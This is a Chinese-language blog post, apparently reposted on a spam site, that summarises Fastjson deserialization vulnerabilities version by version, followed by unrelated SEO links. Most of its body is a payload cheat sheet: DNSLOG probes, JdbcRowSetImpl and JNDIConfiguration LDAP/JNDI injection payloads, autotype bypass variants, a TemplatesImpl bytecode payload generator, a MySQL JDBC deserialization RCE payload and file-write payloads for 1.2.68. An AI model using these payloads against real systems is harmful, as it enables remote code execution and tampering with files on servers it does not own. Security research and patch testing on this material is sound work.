当前位置: 首页 > news >正文

建设主管部门网站2023新冠结束了吗

建设主管部门网站,2023新冠结束了吗,wordpress在线朗读,seo的关键词无需0x00 前言 这一篇主要是针对已经完成的fastjson系列做一个知识点总结,一来是为了更加有条理的梳理已经存在的内容,二来是为了更好的复习和利用。 0x01 Fastjson基础知识点 1.常见问题: 问:fastjson的触发点是什么?…

0x00 前言

这一篇主要是针对已经完成的fastjson系列做一个知识点总结,一来是为了更加有条理的梳理已经存在的内容,二来是为了更好的复习和利用。

0x01 Fastjson基础知识点

1.常见问题:

问:fastjson的触发点是什么?

fastjson的触发点是parseObject

问:fastjson payload最明显的特征是什么?

@type

问:fastjson 最早的利用版本是什么

1.2.24以下的版本

问:fastjson 除了可以执行命令还可以做什么其他的事情

因为fastjson本质是执行代码,所以可以做所有代码能够实现的事情

问:fastjson 的对抗历史中,主要是在绕过和对抗什么

checkautotype

问:fastjson对抗历史中,绕过Autotype的方式有哪些

Autotype开启

  • 类名L
  • 类名LL
  • 类名[
  • JNDIConfiguration绕过(黑名单不存在)

Autotype未开启

  • 1.2.48 缓存绕过
  • 1.2.68 白名单绕过

问:简述一下1.2.48缓存绕过的原理

首先通过Java.lang.class 将调用的类load进map,然后进行第二次@type调用,因为map中存在的,所以直接会获取到class。

0x02 POC

1.探测

1.1 DNSLOG

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}}

{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}

2.利用

2.1 不开启AutoType

<= 1.2.24

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit", "autoCommit":true}

如果 Feature.SupportNonPublicField开启,则使用下面的payload

        final String CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool = ClassPool.getDefault();CtClass ctClass = classPool.getCtClass("evil");byte[] bytes = ctClass.toBytecode();String encoded = Base64.getEncoder().encodeToString(bytes);String payload = "{\"@type\":\"" + CLASS +"\",\"_bytecodes\":[\""+encoded+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{}}";return payload;

1.2.25 < 1.2.48

{"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:9999/#Exploit", "autoCommit": true}}

1.2.68
这个需要使用mysql利用工具

{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections5_calc", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }

文件操作

{ "@type": "java.lang.AutoCloseable", "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", "targetPath": "C:/Users/wdd/Desktop/ls/ls/1.txt", "tempPath": "C:/Users/wdd/Desktop/ls/1.txt"}

文件写入

{"stream": {"@type": "java.lang.AutoCloseable","@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream","targetPath": "C:/Users/wdd/Desktop/ls/ls/4.txt","tempPath": "a"},"writer": {"@type": "java.lang.AutoCloseable","@type": "com.esotericsoftware.kryo.io.Output","buffer": "Y2VzaGk=","outputStream": {"$ref": "$.stream"},"position": 5},"close": {"@type": "java.lang.AutoCloseable","@type": "com.sleepycat.bind.serial.SerialOutput","out": {"$ref": "$.writer"}}
}

2.2 开启AutoType

1.2.25

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:9999/a", "autoCommit":true}

1.2.42

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:9999/a", "autoCommit":true}

1.2.60

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://localhost:9999/a"
}

2.3 版本 1.2.5 <= 1.2.60

0x03 Fastjson调用链

历史版本

  • Java代码审计——Fastjson < 24 反序列
  • Java代码审计——Fastjson1.2.25反序列化漏洞
  • Java代码审计——Fastjson1.2.42反序列化漏洞
  • Java代码审计——Fastjson1.2.43反序列化漏洞
    • Java代码审计——Fastjson1.2.47反序列化漏洞
  • Java代码审计——Fastjson1.2.60反序列化漏洞

1.2.68

  • Java代码审计——fastjson 1.2.68 反序列化漏洞 Exception
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 Mysql RCE
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 SafeFileOutputStream文件操作
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 文件写入
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 FileOutputStream写文件
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件

调用链

  • Java代码审计——Fastjson JdbcRowSetImpl调用链
  • Java代码审计——fastjson TemplatesImpl调用链
http://www.hrbkazy.com/news/13730.html

相关文章:

  • 美容院网站建设seo网站快排
  • 做网站毕业答辩会问什么培训课程安排
  • 乐陵疫情最新情况网络优化工具app手机版
  • 做付费推广哪个网站好在线培训平台
  • 网站css样式下载重庆网络推广
  • 住房和城乡建设部网站共有产权天津seo实战培训
  • 台州市城乡建设规划局网站腾讯企业邮箱登录入口
  • 看电视剧的免费网站新营销模式有哪些
  • 网站备案关闭影响排名百度刷排名百度快速排名
  • 能打开各种网站的浏览器下载合集金戈西地那非片
  • 外贸商老贾的微博seo优化思路
  • 怎么选择网站建设公司电商网站订烟平台官网
  • 建个企业网站百度贴吧怎么发广告
  • 全国广告设计合肥seo排名公司
  • 如何在一个空间做2个网站外贸营销网站
  • 公司团队建设百度seo新站优化
  • 网站建设推广新业务网络营销成功案例介绍
  • 网站企业制作网站优化流程
  • 重庆手机网站建设互联网推广怎么找渠道
  • 大学网站建设评比考核办法郑州seo优化服务
  • b2c模式的电子商务网站东莞网络推广平台
  • 广州建设网站的公司简介郑州竞价托管公司哪家好
  • 利用淘宝做网站卖货到国外谷歌商店下载
  • 国外最炫酷网站如何设计与制作网页
  • 电脑怎么做网站网络推广方案范文
  • 安徽专业做网站的公司网页设计模板免费网站
  • 全国知名网站建设网站后台管理系统
  • 自己的网站怎么做搜索引擎网上电商怎么做
  • 淄博网站建设优化运营熊掌号百度知道在线
  • 海尔网站建设水平新手电商运营从哪开始学